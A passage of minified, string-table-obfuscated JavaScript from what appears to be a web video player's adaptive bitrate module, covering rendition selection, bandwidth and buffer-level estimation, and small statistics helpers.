u=i(16368),f=i(42214),e=i(67304);t[r[366]]={name:u[r[368]][r[367]],module:function(){return{AdaptationService:i(10073)[r[155]],AdaptToPlayerResolution:i(80683)[r[96]],AdaptationUtils:e,AdaptationApiFactory:f[r[10]]}},dependencies:[u[r[368]][r[369]]]};t[r[261]]=t[r[366]]},80683:function(n,t){function u(n,t){var f=t[r[376]](),u,e;return f?(u=f[r[377]],e=u&&u[r[379]](r[378]),n?{width:screen[r[373]]*devicePixelRatio,height:screen[r[374]]*devicePixelRatio}:i(f)||e&&i(e)||u&&i(u)):null}function i(n){return n&&n[r[380]]&&n[r[381]]?{width:n[r[380]]*devicePixelRatio,height:n[r[381]]*devicePixelRatio}:null}Object[r[9]](t,r[8],{value:!0});t[r[96]]=void 0;t[r[96]]=function(n,t,i){var e,h=u(i,n),o,s,f;return h?(o=null!==(e=n[r[370]]())&&void 0!==e?e:[],s=o[r[184]](function(n){return n[r[371]]===t}),!s)?t:(f=function(n,t,i){return n[r[86]](function(n){var u=n[r[372]]<=t,f=function(n,t){var i=t[r[373]]/t[r[374]];return n[r[373]]/n[r[374]]<i?t[r[373]]>=n[r[373]]:t[r[374]]>=n[r[374]]}(i,n);return u&&f})}(o,s[r[372]],h),0===f[r[3]]?t:f[function(n){var t=n[r[375]](function(t){return t[r[373]]>n[0][r[373]]&&t[r[374]]>n[0][r[374]]})-1;return Math[r[109]](0,t)}(f)][r[371]]):t}},63356:function(n,t){Object[r[9]](t,r[8],{value:!0});t[r[382]]=t[r[383]]=void 0;t[r[383]]=function(n){return null!=n[r[372]]};t[r[382]]=function(n){return null!=n[r[41]]&&null!=n[r[42]]}},28429:function(n,t,i){var e,f,u;Object[r[9]](t,r[8],{value:!0});t[r[138]]=void 0;e=i(10676);f=i(63356);t[r[138]]=function(n,t){if(t&&0!==t[r[3]])return u[r[384]](),t[r[385]](function(t,i){var r=u(i),f=u(t);return f>n||r>n?r>f?t:i:r>f?i:t})};u=e[r[386]](function(n){return f[r[383]](n)&&n[r[372]]>0?n[r[372]]:f[r[382]](n)?(n[r[42]]+n[r[41]])/2:0})},67610:function(n,t){function i(n){return n[r[3]]>0?n[r[385]](function(n,t){return n+t},0)/n[r[3]]:0}Object[r[9]](t,r[8],{value:!0});t[r[347]]=t[r[390]]=t[r[391]]=t[r[392]]=void 0;t[r[392]]=i;t[r[391]]=function(n,t){if(void 0===t&&(t=i(n)),n[r[3]]<2)return 0;var u=n[r[385]](function(n,i){return n+Math[r[387]](i-t,2)},0),f=1/(n[r[3]]-1)*u;return Math[r[388]](f)};t[r[390]]=function(n){var t=n[r[345]](0)[r[389]](function(n,t){return n-t});return 0===t[r[3]]?0:t[r[3]]%2==1?t[Math[r[285]](t[r[3]]/2)]:.5*(t[t[r[3]]/2-1]+t[t[r[3]]/2])};t[r[347]]=function(n,i,u){return void 0===u&&(u=n[r[3]]-1),0===n[r[3]]||u<0?0:0===u||0===i?n[u]:i*n[u]+(1-i)*t[r[347]](n,i,u-1)}},55594:function(n,t){var i;Object[r[9]](t,r[8],{value:!0});t[r[206]]=void 0,function(n){n[n[r[223]]=10]=r[223];n[n[r[393]]=8]=r[393];n[n[r[394]]=7]=r[394];n[n[r[395]]=6]=r[395];n[n[r[205]]=5]=r[205];n[n[r[264]]=4]=r[264];n[n[r[231]]=3]=r[231];n[n[r[211]]=2]=r[211];n[n[r[396]]=1]=r[396]}(i||(t[r[206]]=i={}))},67304:function(n,t,i){function f(n,t){return n[n[r[385]](function(i,r,u){return t(n[i],n[u])?i:u},0)]}var u,e;Object[r[9]](t,r[8],{value:!0});t[r[142]]=t[r[361]]=t[r[337]]=t[r[397]]=t[r[194]]=t[r[398]]=t[r[399]]=t[r[400]]=void 0;u=i(54838);t[r[400]]=function(n){var i,f=null===(i=n[r[43]])||void 0===i?void 0:i[r[18]],t;return f?(t=function(n){return n[r[401]]?u[r[165]][r[402]](r[109],n[r[401]]):1/0}(f),!isNaN(t)&&isFinite(t)?t:0):0};t[r[399]]=function(n){var i,e=null===(i=n[r[43]])||void 0===i?void 0:i[r[18]],o=n[r[159]],f,t;return!e||!o?0:(f=e[r[300]]||0,!f)?0:(t=function(n,t){return 8+u[r[165]][r[402]](r[111],n)*(1+t/100)}(f,o[r[243]]),!isNaN(t)&&isFinite(t)?t:0)};t[r[398]]=f;e=function(n){return n};t[r[194]]=function(n,t){return void 0===t&&(t=e),f(n,function(n,i){return t(n)<t(i)})};t[r[397]]=function(n,t){return void 0===t&&(t=e),f(n,function(n,i){return t(n)>t(i)})};t[r[337]]=function(n){return n/Math[r[387]](2,10)};t[r[361]]=function(n){return n/Math[r[387]](2,20)};t[r[142]]=function(n){return void 0!==n[r[143]]}},57038:function(n,t,i){var c=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[150]]=void 0;var f=i(33696),l=i(87326),e=i(79814),a=i(54838),v=i(40210),y=i(28429),o=i(67304),u=i(72573),s=.0001,h=.0001,p=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[32]]=t,u[r[33]]=i,u[r[403]]=[],u[r[404]]=[],u[r[131]]=0,u[r[405]](),u[r[43]]=t[r[159]][r[406]],u}return c(t,n),Object[r[9]](t[r[6]],r[284],{get:function(){var n,t=e[r[168]][r[167]](this[r[33]])?f[r[408]][r[407]]:f[r[408]][r[409]],i=null!==(n=this[r[32]][r[93]][r[414]][r[413]](f[r[412]][r[411]],t)[r[410]])&&void 0!==n?n:0;return i>this[r[32]][r[196]][r[415]](f[r[412]][r[411]],t)+this[r[131]]?0:i},enumerable:!1,configurable:!0}),t[r[6]][r[405]]=function(){var e=this[r[32]][r[159]][r[406]][r[416]],n=this[r[32]][r[159]][r[406]][r[417]],t=this[r[32]][r[159]][r[406]][r[418]],i,u,f;[r[420],r[421]][r[419]](e)||(i=l[r[422]][r[416]],this[r[32]][r[116]][r[425]](r[424][r[122]](e,r[423])[r[122]](i,r[359])),this[r[32]][r[159]][r[406]][r[416]]=i);(n>1||n<s)&&(u=Math[r[111]](Math[r[109]](n,s),1),this[r[32]][r[116]][r[425]](r[427][r[122]](n,r[426])[r[122]](u)),this[r[32]][r[159]][r[406]][r[417]]=u);t<h&&(f=Math[r[109]](t,h),this[r[32]][r[116]][r[425]](r[428][r[122]](t,r[426])[r[122]](f)),this[r[32]][r[159]][r[406]][r[418]]=f)},t[r[6]][r[133]]=function(n){(function(n){return null!=n[r[131]]})(n)&&(this[r[295]][r[133]](),this[r[293]][r[133]](),n[r[131]]!==this[r[131]]&&(this[r[131]]=n[r[131]],this[r[429]]()))},t[r[6]][r[62]]=function(){var n;if(null!==(n=this[r[430]]()[r[190]])&&void 0!==n)return n[r[59]]},t[r[6]][r[64]]=function(n,t){var i;this[r[187]](t);var u=this[r[430]](),f=null===(i=u[r[190]])||void 0===i?void 0:i[r[59]],e=u[r[431]];return this[r[404]][r[432]](this[r[403]][e]),this[r[404]][r[3]]>20&&(this[r[404]]=this[r[404]][r[345]](-10)),this[r[324]]=n,this[r[189]]=u[r[190]],this[r[179]]=this[r[210]](this[r[295]][r[241]]()),this[r[182]]=!1,this[r[326]]=void 0,f},t[r[6]][r[139]]=function(){return this[r[295]][r[241]]()[r[202]]},t[r[6]][r[112]]=function(n){this[r[180]]=n[r[71]];this[r[265]]=this[r[183]]();this[r[182]]=!1;this[r[326]]=void 0;var t=this[r[69]]()[r[188]](function(n){return o[r[337]](n[r[82]])});this[r[403]]=u[r[433]](t,this[r[43]][r[416]]);this[r[429]]()},t[r[6]][r[58]]=function(n){var t,i=y[r[138]](n,this[r[69]]()[r[188]](function(n){return{rep:n,bitrate:n[r[82]]}}));return null!==(t=null==i?void 0:i[r[190]])&&void 0!==t?t:this[r[191]]()},t[r[6]][r[207]]=function(){throw new Error(r[434]);},t[r[6]][r[132]]=function(){},t[r[6]][r[135]]=function(){var n,t;this[r[179]]=0;this[r[182]]=!1;this[r[326]]=void 0;null===(n=this[r[295]])||void 0===n||n[r[135]]();null===(t=this[r[293]])||void 0===t||t[r[135]]()},t[r[6]][r[136]]=function(){var n,t;this[r[135]]();null===(n=this[r[295]])||void 0===n||n[r[136]]();null===(t=this[r[293]])||void 0===t||t[r[136]]();this[r[189]]=void 0;this[r[180]]=[];this[r[265]]=r[269];this[r[403]]=[];this[r[131]]=0;this[r[404]]=[]},t[r[6]][r[429]]=function(){if(u[r[435]](this[r[403]],this[r[131]])){var t=this[r[69]]()[r[188]](function(n){return o[r[337]](n[r[82]])}),i=e[r[168]][r[167]](this[r[33]])?f[r[408]][r[407]]:f[r[408]][r[409]],n=this[r[32]][r[196]][r[415]](f[r[412]][r[411]],i);this[r[436]]=u[r[437]](this[r[43]],t,this[r[403]],this[r[131]],n);this[r[438]]=u[r[439]](this[r[43]],this[r[436]],n,this[r[131]]);this[r[440]]=u[r[441]](this[r[436]],this[r[438]])}},t[r[6]][r[442]]=function(n,t,i,f){var e=u[r[443]](n[r[82]],f),o=u[r[444]](e,this[r[131]],this[r[284]]),s=u[r[445]](this[r[403]],t,i);return this[r[436]]*e+this[r[438]]*o+this[r[440]]*s},t[r[6]][r[430]]=function(){var n,o=this,i,t;if(this[r[289]]())return i=function(n){var t,i=null!==(t=null==n?void 0:n[r[300]])&&void 0!==t?t:0;return a[r[165]][r[402]](r[109],i)}(this[r[32]][r[43]][r[18]]),t=this[r[58]](i),{rep:t,index:null!==(n=this[r[69]]()[r[446]](t))&&void 0!==n?n:0};if(this[r[284]]<this[r[131]]||!u[r[435]](this[r[403]],this[r[131]]))return{rep:this[r[69]]()[0],index:0};var s=u[r[447]](this[r[404]],10),f=this[r[295]][r[241]](5,.325)[r[202]],h=this[r[210]](this[r[295]][r[241]]()),c=Math[r[111]](f,h),l=this[r[69]]()[0][r[82]],v=Math[r[109]](1.1*f,l),e=this[r[69]]()[r[86]](function(n){return n[r[82]]<=v})[r[188]](function(n,t){return{rep:n,index:t,cost:o[r[442]](n,t,s,c)}})[r[389]](function(n,t){return n[r[448]]-t[r[448]]});return{rep:e[0][r[190]],index:e[0][r[431]]}},t}(v[r[286]]);t[r[150]]=p},72573:function(n,t){Object[r[9]](t,r[8],{value:!0});t[r[435]]=t[r[447]]=t[r[445]]=t[r[444]]=t[r[443]]=t[r[441]]=t[r[439]]=t[r[437]]=t[r[433]]=void 0;t[r[433]]=function(n,t){var i,u;switch(t){case r[421]:return i=n[n[r[3]]-1],n[r[188]](function(n){return function(n,t){return n/t}(n,i)});case r[420]:return u=n[0],n[r[188]](function(n){return function(n,t){return Math[r[420]](n/t)}(n,u)})}};t[r[437]]=function(n,t,i,u,f){switch(n[r[416]]){case r[421]:return function(n,t,i,u){var f=n[r[418]],e=n[r[417]],o=i,s=t[0],h=t[t[r[3]]-2];return 1/(1+(e*u-o)/i+Math[r[449]](3-2*s-h)/f)}(n,i,u,f);case r[420]:return function(n,t,i,u){var e=n[r[418]],o=n[r[417]],s=i,h=t[0],f=t[t[r[3]]-1];return 1/(1+(o*u-s)/i+2*f*f/(e*h*t[t[r[3]]-2]))}(n,t,u,f)}};t[r[439]]=function(n,t,i,u){return t*((n[r[417]]*i-u)/u)};t[r[441]]=function(n,t){return 1-n-t};t[r[443]]=function(n,t){return t?n/t:1};t[r[444]]=function(n,t,i){return i<=t?1/0:n*(t/(i-t))};t[r[445]]=function(n,t,i){var u=n[n[r[3]]-1],f=n[0],e=n[t];return Math[r[449]](u+i-2*e)/Math[r[449]](2*u-2*f)};t[r[447]]=function(n,t){if(0===n[r[3]])return 0;var i=n[r[345]](-t);return i[r[385]](function(n,t){return n+t})/i[r[3]]};t[r[435]]=function(n,t){return!(n[r[3]]<=1||!t)}},3797:function(n,t){var i;Object[r[9]](t,r[8],{value:!0});t[r[450]]=t[r[451]]=void 0,function(n){n[r[454]]=r[456];n[r[455]]=r[457]}(i||(t[r[451]]=i={}));t[r[450]]=function(n){var u,t;if(0!==n[r[3]]){for(u=n[r[3]],t=u-1;t>=0;t--){var f=n[t][r[202]],e=f[r[452]],o=f[r[453]];if(void 0===o||e<.9*o)return{rateBps:e,type:i[r[454]]}}return{rateBps:n[u-1][r[202]][r[452]],type:i[r[455]]}}}},74828:function(n,t,i){function u(n){return a[r[194]](null!=n?n:[],function(n){return n[r[82]]})}var s=this&&this[r[458]]||function(n,t,i){if(i||2===arguments[r[3]])for(var f,u=0,e=t[r[3]];u<e;u++)!f&&u in t||(f||(f=Array[r[6]][r[345]][r[4]](t,0,u)),f[u]=t[u]);return n[r[122]](f||Array[r[6]][r[345]][r[4]](t))};Object[r[9]](t,r[8],{value:!0});t[r[148]]=void 0;var h=i(18665),f=i(28819),o=i(8272),c=i(28429),l=i(12566),a=i(67304),e=i(3797),v=i(92741),y=i(2122),p=r[459],w=function(){function n(n,t){this[r[32]]=n;this[r[33]]=t;this[r[460]]=new v[r[461]]}return Object[r[9]](n[r[6]],r[55],{get:function(){return this[r[32]][r[54]][r[53]](h[r[52]][r[56]],this[r[32]][r[50]][r[49]])},enumerable:!1,configurable:!0}),n[r[6]][r[420]]=function(n){for(var i,u=[],t=1;t<arguments[r[3]];t++)u[t-1]=arguments[t];(i=this[r[32]][r[116]])[r[13]][r[7]](i,s([r[464][r[122]](p,r[463])[r[122]](this[r[33]],r[462])[r[122]](n)],u,!1))},n[r[6]][r[450]]=function(){var n=f[r[299]](this[r[32]][r[103]][r[38]](),this[r[33]],o[r[105]][r[465]]),t=this[r[466]]();return e[r[450]](n[r[345]](-t))},n[r[6]][r[466]]=function(){var n,t=null===(n=this[r[32]][r[43]][r[18]])||void 0===n?void 0:n[r[20]],i=Math[r[467]](20*t);return Math[r[109]](1,i)},n[r[6]][r[468]]=function(n){var t,i,f,e,o=u(null!==(f=null===(i=null===(t=this[r[55]])||void 0===t?void 0:t[r[70]](n))||void 0===i?void 0:i[r[71]])&&void 0!==f?f:[]);return null!==(e=null==o?void 0:o[r[59]][r[301]](n))&&void 0!==e&&e},n[r[6]][r[139]]=function(){var n,t;return null!==(t=null===(n=this[r[450]]())||void 0===n?void 0:n[r[469]])&&void 0!==t?t:0},n[r[6]][r[62]]=function(n,t){var c,a,v,y,i,s,h;if(t&&0!==t[r[3]])return(s=this[r[450]](),this[r[420]](r[470],s),!s)?null===(c=u(t))||void 0===c?void 0:c[r[59]]:((s[r[471]]===e[r[451]][r[454]]&&(i=null!==(a=this[r[58]](s[r[469]],t))&&void 0!==a?a:void 0,this[r[420]](r[472],null==i?void 0:i[r[82]])),s[r[471]]===e[r[451]][r[455]])&&(h=null===(v=f[r[263]](f[r[185]](this[r[32]][r[103]][r[38]]()),this[r[33]],o[r[105]][r[465]])[r[202]])||void 0===v?void 0:v[r[473]],void 0!==h&&(i=l[r[474]](t,h),this[r[420]](r[476][r[122]](h,r[475])[r[122]](null==i?void 0:i[r[82]])))),i?i[r[59]]:null===(y=u(t))||void 0===y?void 0:y[r[59]])},n[r[6]][r[64]]=function(n,t){return this[r[62]](n,t)},n[r[6]][r[58]]=function(n,t){var i,f,e;return!t||t[r[3]]<1?null:(e=null===(i=c[r[138]](n,t[r[188]](function(n){return{rep:n,bitrate:n[r[82]]}})))||void 0===i?void 0:i[r[190]],null!==(f=null!=e?e:u(t))&&void 0!==f?f:null)},n[r[6]][r[126]]=function(n,t){if(this[r[460]][r[477]](n)){if(this[r[468]](t))return!1;var i=y[r[478]](n);return i&&this[r[420]](r[479]),i}return!1},n[r[6]][r[133]]=function(){},n[r[6]][r[112]]=function(){},n[r[6]][r[132]]=function(){},n[r[6]][r[135]]=function(){},n[r[6]][r[136]]=function(){this[r[135]]()},n}();t[r[148]]=w},92741:function(n,t){Object[r[9]](t,r[8],{value:!0});t[r[461]]=void 0;var i=function(){function n(){this[r[480]]=0}return n[r[6]][r[477]]=function(n){var t,i;return void 0===n[r[131]]||void 0===n[r[140]]?!1:(this[r[481]](n)&&(this[r[480]]=0),t=this[r[480]]+.2,n[r[140]]>=n[r[131]]*t)?(i=n[r[140]]/n[r[131]],this[r[480]]=.2*Math[r[285]](i/.2),!0):!1},n[r[6]][r[481]]=function(n){return n[r[140]]<this[r[480]]*n[r[131]]},n}();t[r[461]]=i},2122:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[478]]=void 0;var u=i(40392);t[r[478]]=function(n){var t,i,f=(null===(t=n[r[129]])||void 0===t?void 0:t[r[482]])-(null===(i=n[r[129]])||void 0===i?void 0:i[r[342]]),e=u[r[483]](n[r[141]])/f,o=1-u[r[483]](n[r[141]])/(n[r[473]]*n[r[131]]);return e<n[r[473]]*o}},10605:function(n,t,i){function s(n){return n/8}var l=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[268]]=void 0;var f=i(28819),o=i(8272),h=i(54838),e=i(25050),c=r[484],a=r[485],u=1e6,v=function(n){function t(t,i){var e,o,u=n[r[4]](this,t,i)||this,f=t[r[43]];return u[r[159]]=t[r[159]],u[r[487]]=i,u[r[488]]=16e5,null!=(null===(e=f[r[18]])||void 0===e?void 0:e[r[401]])&&(u[r[488]]=h[r[165]][r[402]](r[109],f[r[18]][r[401]])),null!=(null===(o=f[r[18]])||void 0===o?void 0:o[r[300]])&&(u[r[300]]=h[r[165]][r[402]](r[111],f[r[18]][r[300]])),u[r[489]]={bytes:0,time:0},u[r[490]]=[],u}return l(t,n),t[r[491]]=function(n,t){return 8*n/t},t[r[6]][r[492]]=function(n){var i=this[r[490]][r[493]](),h,c,e,f,o,s;if((null==i?void 0:i[r[494]])===u&&(this[r[490]][r[432]](i),i=void 0),i||(i={bytes:0,time:0,rateInBps:0}),i[r[494]]+n[r[494]]<=u)h=i[r[494]]+n[r[494]],c=i[r[344]]+n[r[344]],this[r[490]][r[432]]({bytes:h,time:c,rateInBps:t[r[491]](h,c)});else{for(e=(u-i[r[494]])/n[r[494]],i[r[494]]+=n[r[494]]*e,i[r[344]]+=n[r[344]]*e,i[r[495]]=t[r[491]](i[r[494]],i[r[344]]),this[r[490]][r[432]](i),f=n[r[494]]*(1-e),o=n[r[344]]*(1-e);f>u;)s=o/(f/u),this[r[490]][r[432]]({bytes:u,time:s,rateInBps:t[r[491]](u,s)}),f-=u,o-=s;this[r[490]][r[432]]({bytes:f,time:o,rateInBps:t[r[491]](f,o)})}},t[r[6]][r[496]]=function(n){if(n&&!isNaN(n[r[494]])){var t=this[r[489]];if(t[r[494]]===n[r[494]]&&t[r[344]]===n[r[344]])return;this[r[489]]=n;this[r[492]](n);this[r[490]][r[3]]>40&&this[r[490]][r[497]]();this[r[498]]()}},t[r[6]][r[499]]=function(n,i){var e,o=-n,f,u;return(null!=i&&(o=-n-i,e=-i),f=this[r[490]][r[345]](o,e),0===f[r[3]])?0:(u=f[r[385]](function(n,t){return{bytes:n[r[494]]+t[r[494]],time:n[r[344]]+t[r[344]],rateInBps:n[r[495]]+t[r[495]]}}),u[r[495]]=t[r[491]](u[r[494]],u[r[344]]),u[r[495]])},t[r[6]][r[500]]=function(){if(null==this[r[300]])return null;this[r[488]]=Number[r[501]];var n=this[r[300]];return n*=1+this[r[159]][r[243]]/100,n+=8,isNaN(n)?null:(this[r[32]][r[116]][r[199]](r[502][r[122]](n)),{bytes:s(n),time:1})},t[r[6]][r[133]]=function(){var t,n,i,u,e;this[r[503]]&&(t=f[r[185]](this[r[503]]),n=f[r[263]](t,this[r[487]],o[r[105]][r[298]]),n&&n[r[202]]&&n[r[202]][r[494]]||(i=this[r[500]](),(i&&(n={value:i}),n&&n[r[202]]&&n[r[202]][r[494]])||(n=n||{},u=this[r[504]](),u>0&&(n[r[202]]={bytes:s(u),time:1})),n&&n[r[202]]||(n=f[r[263]](t,r[261],o[r[105]][r[298]])),e=1/0,n&&n[r[202]]&&!isNaN(n[r[202]][r[494]])&&!isNaN(n[r[202]][r[344]])&&(e=n[r[202]][r[494]]/n[r[202]][r[344]]),e>this[r[488]]&&(n[r[202]]=n[r[202]]||{},n[r[202]][r[494]]=s(this[r[488]]),n[r[202]][r[344]]=1)),this[r[496]](n[r[202]]))},t[r[6]][r[241]]=function(n){0===this[r[490]][r[3]]&&this[r[133]]();var t=this[r[499]](n),i=this[r[499]](n,1);return{value:t,result:t>1.1*i?e[r[215]][r[214]]:t<.9*i?e[r[215]][r[219]]:e[r[215]][r[217]]}},t[r[6]][r[498]]=function(){if(this[r[503]]){var n=f[r[299]](this[r[503]],this[r[487]],o[r[105]][r[298]])[r[345]](-3)[r[188]](function(n){return Math[r[505]](8*n[r[202]][r[494]]/n[r[202]][r[344]])});this[r[32]][r[506]][r[160]](c,n);this[r[32]][r[506]][r[160]](a,Date[r[134]]())}},t[r[6]][r[504]]=function(){var n=this[r[32]][r[506]][r[53]](c)||[];return Math[r[505]](n[r[385]](function(n,t){return n+t},0)/n[r[3]])||-1},t[r[6]][r[135]]=function(){},t[r[6]][r[132]]=function(){},t[r[6]][r[136]]=function(){},t}(e[r[486]]);t[r[268]]=v},29374:function(n,t,i){var e=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[266]]=void 0;var f=i(331),u=i(25050),o=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[196]]=t[r[196]],u[r[507]]=!0,u[r[508]]=[],u}return e(t,n),t[r[6]][r[509]]=function(){var n,t;if(0===this[r[508]][r[3]])return NaN;if(n=this[r[508]][this[r[508]][r[3]]-1],t=n[r[510]],this[r[507]]){var i=n[r[284]],u=this[r[508]][this[r[508]][r[3]]-2],f=0;u&&(f=u[r[284]]);i>=n[r[510]]||f>i?(this[r[116]][r[199]](r[511]),this[r[507]]=!1):t=i}return t},t[r[6]][r[512]]=function(n){isNaN(n)&&(n=this[r[196]][r[195]]());for(var i,o=Date[r[134]]()-f[r[200]](n),t=0,e=0,u=0;u<this[r[508]][r[3]];u++)(i=this[r[508]][u])[r[513]]>=o&&(t+=i[r[284]]-e),e=i[r[284]];return((t/=this[r[509]]())<-1||t>1)&&this[r[116]][r[199]](r[514]+t),isNaN(t)?1:t},t[r[6]][r[133]]=function(n){var t=this;this[r[515]]||(this[r[515]]=window[r[201]](function(){t[r[116]][r[199]](r[516]);t[r[507]]=!1},f[r[200]](this[r[196]][r[195]]())));this[r[508]][r[432]](n);n[r[513]]-this[r[508]][0][r[513]]>6e4&&this[r[508]][r[497]]()},t[r[6]][r[241]]=function(n){var t=this[r[512]](n),i=u[r[215]][r[217]];return t>.7?i=u[r[215]][r[214]]:t<-.5&&(i=u[r[215]][r[219]]),{value:t,result:i}},t[r[6]][r[132]]=function(){this[r[507]]=!0},t[r[6]][r[135]]=function(){clearTimeout(this[r[515]])},t[r[6]][r[136]]=function(){this[r[135]]();this[r[508]]=[]},t}(u[r[486]]);t[r[266]]=o},75451:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[267]]=void 0;var f=i(87326),e=i(331),u=i(25050);t[r[267]]=function(n){var s,o,i=!0,t={timestamp:Date[r[134]](),bufferTargetLevel:(null===(s=f[r[355]][r[518]][r[517]])||void 0===s?void 0:s[r[519]])||0,bufferLevel:0},h=function(){clearTimeout(o)};return{addSample:function(u){o||(o=window[r[201]](function(){i=!1},e[r[200]](n[r[196]][r[195]]())));t=u},getStatus:function(){var n;return t[r[284]]>.8*t[r[510]]?(n=u[r[215]][r[214]],i&&(i=!1,clearTimeout(o))):n=t[r[284]]<.4*t[r[510]]?u[r[215]][r[219]]:u[r[215]][r[217]],i&&(n=u[r[215]][r[217]]),{value:t[r[284]],result:n}},setStartupPhase:function(){i=!0},shutdown:h,dispose:function(){h()}}}},7745:function(n,t,i){var e=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[350]]=void 0;var f=i(331),u=i(25050),o=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[521]]=[],u}return e(t,n),t[r[6]][r[522]]=function(n){var u,t,i;return(void 0===n&&(n=this[r[32]][r[196]][r[195]]()),u=Date[r[134]]()-f[r[200]](n),t=this[r[521]][r[86]](function(n){return n[r[513]]>=u}),0===t[r[3]])?1:(i=0,t[r[169]](function(n,u){var o=t[u-1],e=n[r[131]],s=e/8,h=Math[r[111]](n[r[284]]/n[r[510]],1),c=Math[r[109]](n[r[520]],s),l=h*(e/c)+e/(o?Math[r[109]](n[r[513]]-o[r[513]],s):f[r[200]](Math[r[109]](e,c)))*(1-h);i=n[r[523]]?i-l:i+l}),i/t[r[3]])},t[r[6]][r[133]]=function(n){(function(n){return null!=n[r[131]]&&null!=n[r[520]]})(n)&&(this[r[521]][r[432]](n),n[r[513]]-this[r[521]][0][r[513]]>6e4&&this[r[521]][r[497]]())},t[r[6]][r[241]]=function(n){var t=this[r[522]](n),i=u[r[215]][r[217]];return t>1.7?i=u[r[215]][r[214]]:t<.5&&(i=u[r[215]][r[219]]),{value:t,result:i}},t[r[6]][r[132]]=function(){},t[r[6]][r[135]]=function(){},t[r[6]][r[136]]=function(){this[r[135]]();this[r[521]]=[]},t}(u[r[486]]);t[r[350]]=o},25050:function(n,t){var i,u;Object[r[9]](t,r[8],{value:!0});t[r[486]]=t[r[215]]=void 0,function(n){n[r[214]]=r[524];n[r[217]]=r[525];n[r[219]]=r[526]}(i||(t[r[215]]=i={}));u=function(){function n(n,t){this[r[32]]=n;this[r[527]]=[];this[r[33]]=t;this[r[116]]=n[r[116]];this[r[528]]=n[r[159]];this[r[529]]=this[r[528]][r[530]]}return Object[r[9]](n[r[6]],r[503],{get:function(){var n;if(null!==(n=this[r[32]][r[103]])&&void 0!==n)return n[r[38]]()},enumerable:!1,configurable:!0}),n[r[6]][r[314]]=function(n,t,i){return this[r[241]](t,i)},n}();t[r[486]]=u},94077:function(n,t,i){function b(n){return n[r[536]]>0&&!/^https?:\/\/localhost(:\d+)?(\/|$)/[r[550]](n[r[549]])}function h(n,t){var i,u;return void 0===t&&(t=1/0),u=n[r[202]][r[344]]-(null!==(i=n[r[202]][r[544]])&&void 0!==i?i:0),c(8*n[r[202]][r[494]]/u,t)}function c(n,t){var i=v[r[165]][r[402]](r[109],t);return Math[r[111]](n,i)}var l=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[296]]=void 0;var f=i(28819),e=i(8272),a=i(331),v=i(54838),y=i(67610),o=i(67304),u=i(25050),s=r[484],p=r[485],w=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[531]]=-1,u[r[532]]=.1,u[r[533]]=!0,u}return l(t,n),t[r[534]]=function(){if(!performance||r[91]!=typeof performance[r[535]])return 0;var n=0,t=0;return performance[r[542]](r[541])[r[86]](b)[r[169]](function(i){n+=8*i[r[536]];t+=a[r[540]](i[r[537]]-(i[r[538]]-i[r[539]]))}),n>0&&t>0?n/t:0},t[r[6]][r[499]]=function(n,t,i){var f,u;return void 0===t&&(t=1),void 0===i&&(i=0),u=-n-i,f=0!==i?this[r[527]][r[345]](u,-i):this[r[527]][r[345]](u),y[r[347]](f,1-t)},t[r[543]]=function(n){if(Boolean(n)&&Boolean(n[r[202]])){var t=Boolean(n[r[202]][r[494]]),i=!isNaN(n[r[202]][r[344]]),u=void 0!==n[r[202]][r[544]]&&!isNaN(n[r[202]][r[544]]);return t&&i&&u}return!1},t[r[6]][r[545]]=function(n){if(!this[r[503]])return 0;var i=f[r[263]](f[r[185]](this[r[503]]),n,e[r[105]][r[298]]),u=t[r[543]](i),o=u&&this[r[531]]<i[r[344]];return o&&isFinite(i[r[344]])&&(this[r[531]]=i[r[344]]),u&&o?h(i,this[r[32]][r[159]][r[546]]):u&&!o?-1:0},t[r[6]][r[547]]=function(){var 